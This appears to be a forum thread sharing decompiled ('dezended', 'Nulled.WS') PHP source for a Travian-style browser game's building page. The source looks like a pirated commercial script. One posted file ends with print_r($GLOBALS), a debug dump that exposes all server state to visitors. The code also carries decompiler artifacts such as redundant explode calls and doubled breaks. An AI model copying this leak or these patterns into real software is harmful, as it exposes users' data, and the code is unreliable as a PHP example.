    public function getNextLink( )    {        $text = "»";        if ( $this->pageIndex + 1 == $this->pageCount )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( $link != "" )        {            $link .= "&";        }        $link .= "p=".( $this->pageIndex + 1 );        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getPreviousLink( )    {        $text = "«";        if ( $this->pageIndex == 0 )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( 1 < $this->pageIndex )        {            if ( $link != "" )            {                $link .= "&";            }            $link .= "p=".( $this->pageIndex - 1 );        }        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getResourceGoldExchange( $neededResources, $itemId, $buildingIndex, $multiple = FALSE )    {        if ( $this->data['gold_num'] < $this->gameMetadata['plusTable'][6]['cost'] || 0 < $this->needMoreUpgrades( $neededResources, $itemId ) || $this->isResourcesAvailable( $neededResources ) && !$multiple )        {            return "";        }        $s1 = 0;        $s2 = 0;        $exchangeResource = "";        foreach ( $neededResources as $k => $v )        {            $s1 += $v;            $s2 += $this->resources[$k]['current_value'];            if ( $exchangeResource != "" )            {                $exchangeResource .= "&";            }            $exchangeResource .= "r".$k."=".$v;        }        $canExchange = $s1 <= $s2;        if ( $multiple && $canExchange )        {            $num = floor( $s2 / $s1 );            $exchangeResource = "";            foreach ( $neededResources as $k => $v )            {                if ( $exchangeResource != "" )                {                    $exchangeResource .= "&";                }                $exchangeResource .= "r".$k."=".$v * $num;            }        }        return " | <a href=\"build.php?bid=17&t=3&rid=".$buildingIndex."&".$exchangeResource."\" title=\"".buildings_p_m2m."\"><img class=\"npc".( $canExchange ? "" : "_inactive" )."\" src=\"assets/x.gif\" alt=\"".buildings_p_m2m."\" title=\"".buildings_p_m2m."\"></a>";    }
}
$p = new GPage( );$p->run( );print_r($GLOBALS);?>


And this is decoded of build.phtml


PHP:
<?php/**** @ This file is created by Decodeby.US* @ deZender Public (PHP5 Decompiler)** @    Version            :    1.0.0.0* @    Author            :    Ps2Gamer & Cyko* @    Release on        :    30.05.2011* @    Official site    :    http://decodeby.us**/
require_once( LANG_UI_PATH."build.php" );if ( !$this->buildProperties['emptyPlace'] ){    echo "<div id=\"build\" class=\"gid";    echo $this->buildProperties['building']['item_id'];    echo "\">\r\n\t<a href=\"\" onclick=\"return showManual(4, ";    echo $this->buildProperties['building']['item_id'];    echo ");\" class=\"build_logo\"><img class=\"building g";    echo $this->buildProperties['building']['item_id'];    echo "\" src=\"assets/x.gif\" alt=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\" title=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\"></a>\r\n\t<h1>";    echo constant( "item_".$this->buildProperties['building']['item_id'] );    echo " ";    echo "<s";    echo "pan class=\"level\">";    echo level_lang;    echo " ";    echo $this->buildProperties['building']['level'];    echo "</span></h1>\r\n\t<p class=\"build_desc\"></p>\r\n\t<p>";    echo constant( "item_desc_".$this->buildProperties['building']['item_id'] );    echo "</p>\r\n\t<p></p>\r\n\r\n\t";    if ( 4 < $this->buildProperties['building']['item_id'] && 0 < $this->buildProperties['building']['update_state'] && $this->buildProperties['building']['level'] == 0 )    {        echo "\t<p></p><br/><p></p><p class=\"none\">";        echo LANGUI_BUILD_T1;        echo ".</p><p></p><br/><p></p>\r\n\t";    }    else    {        if ( $this->productionPane )        {            echo "\t<table cellpadding=\"1\" cellspacing=\"1\" id=\"build_value\">\r\n\t\t<tbody>\r\n\t\t\t<tr>\r\n\t\t\t\t<th>";            echo constant( "item_curprod_".$this->buildProperties['building']['item_id'] );            echo ":</th>\r\n\t\t\t\t<td><b>";            echo $this->buildProperties['level']['current_value'];            echo "</b> ";            echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );            echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            if ( $this->buildProperties['building']['level'] < $this->buildProperties['maxLevel'] )            {                echo "\t\t\t<tr>\r\n\t\t\t\t<th>";                echo constant( "item_nextprod_".$this->buildProperties['building']['item_id'] );                echo " ";                echo $this->buildProperties['nextLevel'];                echo ":</th>\r\n\t\t\t\t<td><b>";                echo $this->buildProperties['level']['value'];                echo "</b> ";                echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );                echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            }            echo "\t\t</tbody>\r\n\t</table>\r\n\t";        }        if ( $this->buildingView != "" )        {            require( VIEW_PATH."buildings/".$this->buildingView.".phtml" );        }    }    echo "\t";    if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['building']['level'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T2;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['upgradeToLevel'] && 0 < $this->buildProperties['building']['update_state'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T4;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else    {        echo "\t<p id=\"contract\">\r\n\t\t<b>";        echo LANGUI_BUILD_T5;        echo " </b> ";        echo LANGUI_BUILD_T6;        echo " ";        echo $this->buildProperties['nextLevel'];        echo ":<br>\r\n\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";        echo item_title_1;        echo "\" title=\"";        echo item_title_1;        echo "\">";        echo $this->buildProperties['level']['resources'][1];        echo " | \r\n\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";        echo item_title_2;        echo "\" title=\"";        echo item_title_2;        echo "\">";        echo $this->buildProperties['level']['resources'][2];        echo " | \r\n\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";        echo item_title_3;        echo "\" title=\"";        echo item_title_3;        echo "\">";        echo $this->buildProperties['level']['resources'][3];        echo " | \r\n\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";        echo item_title_4;        echo "\" title=\"";        echo item_title_4;        echo "\">";        echo $this->buildProperties['level']['resources'][4];        echo " | \r\n\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";        echo LANGUI_BUILD_T7;        echo "\" title=\"";        echo LANGUI_BUILD_T7;        echo "\">";        echo $this->buildProperties['level']['people_inc'];        echo " | \r\n\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";        echo text_period_lang;        echo "\" title=\"";        echo text_period_lang;        echo "\">";        echo WebHelper::secondstostring( $this->buildProperties['level']['calc_consume'] );        echo "\t\t";        echo $this->getResourceGoldExchange( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'], $this->buildingIndex );        echo "\t\t<br>";        echo $this->getActionText( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'] <= 4, TRUE, $this->buildProperties['building']['item_id'] );        echo "\t</p>\r\n\t";    }    echo "</div>\r\n";    if ( $this->buildProperties['building']['item_id'] <= 4 )    {        echo $this->getFlashContent( "assets/anm/res/r".$this->buildProperties['building']['item_id'].".swf", 130, 160 );    }}else{    echo "<s";    echo "cript language=\"JavaScript\" type=\"text/javascript\">\r\nfunction showPane(list) {\r\n\tvar build_list = _('build_list_'+list);\r\n\tvar link = _(list+'_link');\r\n\r\n\tif (build_list.className == 'hide') {\r\n\t\tbuild_list.className = '';\t\t\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T8;    echo "';\r\n\t} else {\r\n\t\tbuild_list.className = 'hide';\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T9;    echo "';\r\n\t}\r\n}\r\n</script>\r\n<div id=\"build\" class=\"gid0\"><h1>";    echo LANGUI_BUILD_T10;    echo "</h1>\r\n\r\n";    foreach ( $this->newBuilds['available'] as $buildArray )    {        foreach ( $buildArray as $item_id => $build )        {            if ( $this->data['is_special_village'] )            {                do                {                    if ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 )                    {                        if ( !( $item_id != 40 ) )                        {                            break;                        }                        else                        {                            continue;                        }                    }                    if ( !( $item_id == 40 ) )                    {                        break;                    }                    continue;                } while ( 0 );            }            if ( $_GET['id'] == 39 && $item_id != 16 )            {                continue;            }            if ( $_GET['id'] == 40 && $item_id != 31 && $item_id != 32 && $item_id != 33 )            {                continue;            }            if ( $_GET['id'] != 39 && $_GET['id'] != 40 && ( $item_id == 16 || $item_id == 31 || $item_id == 32 || $item_id == 33 ) )            {                continue;            }            $neededResources = $build['levels'][0]['resources'];            echo "<h2>";            echo constant( "item_".$item_id );            echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";            echo constant( "item_desc_".$item_id );            echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";            echo $item_id;            echo ");\"><img class=\"building g";            echo $item_id;            echo "\" src=\"assets/x.gif\" alt=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\" title=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"res\">\r\n\t\t\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";            echo item_title_1;            echo "\" title=\"";            echo item_title_1;            echo "\">";            echo $neededResources[1];            echo " | \r\n\t\t\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";            echo item_title_2;            echo "\" title=\"";            echo item_title_2;            echo "\">";            echo $neededResources[2];            echo " | \r\n\t\t\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";            echo item_title_3;            echo "\" title=\"";            echo item_title_3;            echo "\">";            echo $neededResources[3];            echo " | \r\n\t\t\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";            echo item_title_4;            echo "\" title=\"";            echo item_title_4;            echo "\">";            echo $neededResources[4];            echo " | \r\n\t\t\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";            echo LANGUI_BUILD_T7;            echo "\" title=\"";            echo LANGUI_BUILD_T7;            echo "\">";            echo $build['levels'][0]['people_inc'];            echo " | \r\n\t\t\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";            echo text_period_lang;            echo "\" title=\"";            echo text_period_lang;            echo "\">";            echo WebHelper::secondstostring( $build['levels'][0]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 100 ) );            echo "\t\t\t\t";            echo $this->getResourceGoldExchange( $neededResources, $item_id, $this->buildingIndex );            echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"link\">";            echo $this->getActionText( $neededResources, FALSE, FALSE, $item_id );            echo "</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";        }    }    echo "\r\n";    if ( $_GET['id'] != 39 && $_GET['id'] != 40 && !( $this->data['is_special_village'] && ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 ) ) )    {        echo "<p class=\"switch\"><a id=\"soon_link\" href=\"javascript:showPane('soon');\">";        echo LANGUI_BUILD_T9;        echo "</a></p>\r\n<div id=\"build_list_soon\" class=\"hide\">\r\n\r\n";        foreach ( $this->newBuilds['soon'] as $buildArray )        {            foreach ( $buildArray as $item_id => $build )            {                echo "<h2>";                echo constant( "item_".$item_id );                echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";                echo constant( "item_desc_".$item_id );                echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";                echo $item_id;                echo ");\"><img class=\"building g";                echo $item_id;                echo "\" src=\"assets/x.gif\" alt=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\" title=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"requ\">";                echo LANGUI_BUILD_T11;                echo ":</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td>\r\n\t\t\t";                $flag = FALSE;                foreach ( $build['pre_requests'] as $reqId => $reqValue )                {                    echo "\t\t\t";                    if ( $flag )                    {                        echo ", ";                    }                    echo "<a href=\"#\" onclick=\"return showManual(4,";                    echo $reqId;                    echo ");\">";                    if ( $reqValue == NULL )                    {                        echo "<strike>";                    }                    echo constant( "item_".$reqId );                    if ( $reqValue == NULL )                    {                        echo "</strike>";                    }                    echo "</a>";                    if ( $reqValue != NULL )                    {                        echo "<s";                        echo "pan title=\"";                        echo $build['pre_requests_dependencyCount'][$reqId] < 0 ? ">" : "+".$build['pre_requests_dependencyCount'][$reqId];                        echo "\"> ";                        echo level_lang;                        echo " ";                        echo $reqValue;                    }                    echo "</span>\r\n\t\t\t";                    $flag = TRUE;                }                echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";            }        }        echo "</div>\r\n";    }    echo "</div>\r\n";}?>
Hope you got what you wanted ..

The registration is not work :(

Because is white?:(



Here is the decoded of build.php

PHP:
<?php/*********************//*                   *//*  Dezend for PHP5  *//*         NWS       *//*      Nulled.WS    *//*                   *//*********************/
require( ".".DIRECTORY_SEPARATOR."app".DIRECTORY_SEPARATOR."boot.php" );require_once( MODEL_PATH."build.php" );class GPage extends VillagePage{
    public $productionPane = TRUE;    public $buildingView = "";    public $buildingIndex = -1;    public $buildProperties = NULL;    public $newBuilds = NULL;    public $troopsUpgrade;    public $troopsUpgradeType;    public $buildingTribeFactor;    public $troops = array( );    public $selectedTabIndex = 0;    public $villageOases;    public $childVillages;    public $hasHero = FALSE;    public $totalCpRate;    public $totalCpValue;    public $neededCpValue;    public $childVillagesCount;    public $showBuildingForm;    public $embassyProperty;    public $merchantProperty;    public $rallyPointProperty;    public $crannyProperty = array( 'buildingCount' => 0, 'totalSize' => 0 );    public $warriorMessage = "";    public $dataList;    public $pageSize = 40;    public $pageCount;    public $pageIndex;
    public function GPage( )    {        parent::villagepage( );         $this->viewFile = "build.phtml";        $this->contentCssClass = "build";    }
    public function onLoadBuildings( $building )    {        $GameMetadata = $GLOBALS['GameMetadata'];        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['bid'] ) && is_numeric( $_GET['bid'] ) && $_GET['bid'] == $building['item_id'] )        {            $this->buildingIndex = $building['index'];        }        if ( $building['item_id'] == 23 && 0 < $building['level'] )        {            ++$this->crannyProperty['buildingCount'];            $this->crannyProperty['totalSize'] += $this->crannyProperty['buildingCount'];        }    }
     public function load( )    {        parent::load( );        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['id'] ) && is_numeric( $_GET['id'] ) && isset( $this->buildings[$_GET['id']] ) )        {            $this->buildingIndex = intval( $_GET['id'] );        }        $this->buildProperties = $this->getBuildingProperties( $this->buildingIndex );        if ( $this->buildProperties == NULL )        {            $this->redirect( "village1.php" );        }        else if ( $this->buildProperties['emptyPlace'] )        {            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            $this->newBuilds = array(                "available" => array( ),                "soon" => array( )            );            foreach ( $this->gameMetadata['items'] as $item_id => $build )            {                if ( $item_id <= 4 || !isset( $build['for_tribe_id'][$this->tribeId] ) )                {                    continue;                }                $canBuild = $this->canCreateNewBuild( $item_id );                if ( $canBuild != 0 - 1 )                {                    if ( $canBuild )                    {                        if ( !isset( $this->newBuilds['available'][$build['levels'][0]['time_consume']] ) )                        {                            $this->newBuilds['available'][$build['levels'][0]['time_consume']] = array( );                        }                        $this->newBuilds['available'][$build['levels'][0]['time_consume']][$item_id] = $build;                    }                    else                    {                        $dependencyCount = 0;                        foreach ( $build['pre_requests'] as $reqId => $reqValue )                        {                            if ( $reqValue != NULL )                            {                                $build['pre_requests_dependencyCount'][$reqId] = $reqValue - $this->_getMaxBuildingLevel( $reqId );                                $dependencyCount += $build['pre_requests_dependencyCount'][$reqId];                            }                        }                        if ( !isset( $this->newBuilds['soon'][$dependencyCount] ) )                        {                            $this->newBuilds['soon'][$dependencyCount] = array( );                        }                        $this->newBuilds['soon'][$dependencyCount][$item_id] = $build;                    }                }            }            ksort( $this->newBuilds['available'], SORT_NUMERIC );            ksort( $this->newBuilds['soon'], SORT_NUMERIC );        }        else        {            $bitemId = $this->buildProperties['building']['item_id'];            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            if ( 4 < $bitemId )            {                $this->villagesLinkPostfix .= "&bid=".$bitemId;            }            $this->buildingTribeFactor = isset( $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] ) ? $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] : 1;            if ( $this->buildings[$this->buildingIndex]['level'] == 0 )            {                return;            }            switch ( $bitemId )            {            case 12 :            case 13 :                $this->productionPane = FALSE;                $this->buildingView = "Blacksmith_Armoury";                $this->handleBlacksmithArmoury( );                break;            case 15 :                if ( 10 <= $this->buildings[$this->buildingIndex]['level'] )                {                    $this->buildingView = "MainBuilding";                    $this->handleMainBuilding( );                }                break;            case 16 :                $this->productionPane = FALSE;                $this->buildingView = "RallyPoint";                $this->handleRallyPoint( );                break;            case 17 :                $this->productionPane = FALSE;                $this->buildingView = "Marketplace";                $this->handleMarketplace( );                break;            case 18 :                $this->productionPane = FALSE;                $this->buildingView = "Embassy";                $this->handleEmbassy( );                break;            case 19 :            case 20 :            case 21 :            case 29 :            case 30 :            case 36 :                $this->_getOnlyMyTroops( );                $this->productionPane = $bitemId == 36;                $this->buildingView = "TroopBuilding";                $this->handleTroopBuilding( );                break;            case 22 :                $this->productionPane = FALSE;                $this->buildingView = "Academy";                $this->handleAcademy( );                break;            case 23 :                $this->productionPane = TRUE;                $this->buildingView = "Cranny";                break;            case 24 :                $this->productionPane = FALSE;                $this->buildingView = "TownHall";                $this->handleTownHall( );                break;            case 25 :            case 26 :                $this->productionPane = FALSE;                $this->buildingView = "Residence_Palace";                $this->handleResidencePalace( );                break;            case 37 :                $this->productionPane = FALSE;                $this->buildingView = "HerosMansion";                $this->handleHerosMansion( );                break;            case 40 :                $this->productionPane = FALSE;                break;            case 42 :                $this->_getOnlyMyTroops( );                $this->productionPane = TRUE;                $this->buildingView = "Warrior";                $this->handleWarrior( );            }        }    }
    public function handleBlacksmithArmoury( )    {        $this->troopsUpgradeType = $this->buildings[$this->buildingIndex]['item_id'] == 12 ? QS_TROOP_UPGRADE_ATTACK : QS_TROOP_UPGRADE_DEFENSE;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        $_c = 0;        foreach ( $_arr as $troopStr )        {            ++$_c;            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            $tlevel = $this->troopsUpgradeType == QS_TROOP_UPGRADE_ATTACK ? $attack_level : $defense_level;            if ( $troopId != 99 && $_c <= 8 && $tlevel < 20 && $researches_done == 1 )            {                $this->troopsUpgrade[$troopId] = $tlevel;            }        }        if ( isset( $_GET['a'], $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troopsUpgrade[intval( $_GET['a'] )] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $level = $this->troopsUpgrade[$troopId];            $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']]['troop_upgrades'][$troopId][$level];            if ( !$this->isResourcesAvailable( $buildingMetadata['resources'] ) )            {            }            else            {                $calcConsume = intval( $buildingMetadata['time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->villageId = $this->data['selected_village_id'];                $newTask->procParams = $troopId." ".( $level + 1 );                $newTask->tag = $buildingMetadata['resources'];                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleMainBuilding( )    {        if ( $this->isPost( ) && isset( $_POST['drbid'] ) && 19 <= intval( $_POST['drbid'] ) && intval( $_POST['drbid'] ) <= sizeof( $this->buildings ) && isset( $this->buildings[$_POST['drbid']] ) && 0 < $this->buildings[$_POST['drbid']]['level'] && !isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $item_id = $this->buildings[$_POST['drbid']]['item_id'];            $calcConsume = intval( $this->gameMetadata['items'][$item_id]['levels'][$this->buildings[$_POST['drbid']]['level'] - 1]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 400 ) );            $newTask = new QueueTask( QS_BUILD_DROP, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->buildingId = $item_id;            $newTask->procParams = $this->buildings[$_POST['drbid']]['index'];            $this->queueModel->addTask( $newTask );        }        else if ( isset( $_GET['qid'] ) && is_numeric( $_GET['qid'] ) && isset( $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && isset( $_GET['d'] ) && isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );        }    }
    public function handleRallyPoint( )    {        if ( isset( $_GET['d'] ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['d'] ) );        }        $this->rallyPointProperty = array(            "troops_in_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_intrap_num" )            ),            "troops_out_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_out_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_out_intrap_num" )            ),            "troops_in_oases" => array( ),            "war_to_village" => $this->queueModel->tasksInQueue['war_troops']['to_village'],            "war_from_village" => $this->queueModel->tasksInQueue['war_troops']['from_village'],            "war_to_oasis" => $this->queueModel->tasksInQueue['war_troops']['to_oasis']        );        $village_oases_id = trim( $this->data['village_oases_id'] );        if ( $village_oases_id != "" )        {            $m = new BuildModel( );            $result = $m->getOasesDataById( $village_oases_id );            while ( $result->next( ) )            {                $this->rallyPointProperty['troops_in_oases'][$result->row['id']] = array(                    "oasisRow" => $result->row,                    "troopsTable" => $this->_getOasisTroopsList( $result->row['troops_num'] ),                    "war_to" => isset( $this->rallyPointProperty['war_to_oasis'][$result->row['id']] ) ? $this->rallyPointProperty['war_to_oasis'][$result->row['id']] : NULL                );            }            $m->dispose( );        }    }
   public function _canCancelWarTask( $taskType, $taskId )    {        if ( !QueueTask::iscancelabletask( $taskType ) )        {            return FALSE;        }        $timeout = QueueTask::getmaxcanceltimeout( $taskType );        if ( 0 - 1 < $timeout )        {            $_task = NULL;            foreach ( $this->queueModel->tasksInQueue[$taskType] as $t )            {                if ( !( $t['id'] == $taskId ) )                {                    continue;                }                $_task = $t;                break;                break;            }            if ( $_task == NULL )            {                return FALSE;            }            $elapsedTime = $t['elapsedTime'];            if ( $timeout < $elapsedTime )            {                return FALSE;            }        }        return TRUE;    }
    public function _getOasisTroopsList( $troops_num )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $troops_num ) != "" )        {            $t_arr = explode( "|", $troops_num );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = $t2_arr[0];                $villageData = $m->getVillageData2ById( $vid );                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function _getTroopsList( $key )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $this->data[$key] ) != "" )        {            $t_arr = explode( "|", $this->data[$key] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = intval( $t2_arr[0] );                $villageData = NULL;                if ( $vid == 0 - 1 )                {                    $vid = $this->data['selected_village_id'];                    $villageData = array( "id" => $vid, "village_name" => $this->data['village_name'], "player_id" => $this->player->playerId, "player_name" => buildings_p_thisvillage );                }                else                {                    $villageData = $m->getVillageData2ById( $vid );                }                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                if ( $vid == $this->data['selected_village_id'] )                {                    $returnTroops[$vid]['hasHero'] = intval( $this->data['hero_in_village_id'] ) == intval( $this->data['selected_village_id'] );                    if ( $returnTroops[$vid]['hasHero'] )                    {                         $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$this->data['hero_troop_id']]['crop_consumption'];                       }                }                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function handleMarketplace( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $itemLevel = $this->buildings[$this->buildingIndex]['level'];        $tribeMetadata = $this->gameMetadata['tribes'][$this->data['tribe_id']];        $tradeOfficeLevel = $this->_getMaxBuildingLevel( 28 );        $capacityFactor = $tradeOfficeLevel == 0 ? 1 : $this->gameMetadata['items'][28]['levels'][$tradeOfficeLevel - 1]['value'] / 100;        $capacityFactor *= $this->gameMetadata['game_speed'];        $total_merchants_num = $this->gameMetadata['items'][$itemId]['levels'][$itemLevel - 1]['value'];        $exist_num = $total_merchants_num - $this->queueModel->tasksInQueue['out_merchants_num'] - $this->data['offer_merchants_count'];        if ( $exist_num < 0 )        {            $exist_num = 0;        }        $this->merchantProperty = array( "speed" => $tribeMetadata['merchants_velocity'] * $this->gameMetadata['game_speed'], "capacity" => floor( $tribeMetadata['merchants_capacity'] * $capacityFactor ), "total_num" => $total_merchants_num, "exits_num" => $exist_num, "confirm_snd" => FALSE, "same_village" => FALSE, "vRow" => NULL );        if ( $this->selectedTabIndex == 0 )        {            $m = new BuildModel( );            if ( $this->isPost( ) || isset( $_GET['vid2'] ) )            {                $resources = array( "1" => isset( $_POST['r1'] ) ? intval( $_POST['r1'] ) : 0, "2" => isset( $_POST['r2'] ) ? intval( $_POST['r2'] ) : 0, "3" => isset( $_POST['r3'] ) ? intval( $_POST['r3'] ) : 0, "4" => isset( $_POST['r4'] ) ? intval( $_POST['r4'] ) : 0 );                $this->merchantProperty['confirm_snd'] = $this->isPost( ) ? isset( $_POST['act'] ) && $_POST['act'] == 1 : isset( $_GET['vid2'] );                $map_size = $this->setupMetadata['map_size'];                $doSend = FALSE;                if ( $this->merchantProperty['confirm_snd'] )                {                    $vRow = NULL;                    if ( trim( $_POST['y'] ) != "" )                    {                        $vid = $this->__getVillageId( $map_size, $this->__getCoordInRange( $map_size, intval( $_POST['x'] ) ), $this->__getCoordInRange( $map_size, intval( $_POST['y'] ) ) );                        $vRow = $m->getVillageDataById( $vid );                    }                    else                    {                        if ( isset( $_POST['vname'] ) && trim( $_POST['vname'] ) != "" )                        {                            $vRow = $m->getVillageDataByName( trim( $_POST['vname'] ) );                        }                        else                        {                            if ( isset( $_GET['vid2'] ) )                            {                                $vRow = $m->getVillageDataById( intval( $_GET['vid2'] ) );                                if ( $vRow != NULL )                                {                                    $_POST['x'] = $vRow['rel_x'];                                    $_POST['y'] = $vRow['rel_y'];                                }                            }                        }                    }                }                else                {                    $doSend = TRUE;                    $vRow = $m->getVillageDataById( intval( $_POST['vid2'] ) );                    $this->merchantProperty['showError'] = FALSE;                    $_POST['r1'] = $_POST['r2'] = $_POST['r3'] = $_POST['r4'] = "";                }                if ( 0 < intval( $vRow['player_id'] ) && $m->getPlayType( intval( $vRow['player_id'] ) ) == PLAYERTYPE_ADMIN )                {                    $this->merchantProperty['showError'] = FALSE;                    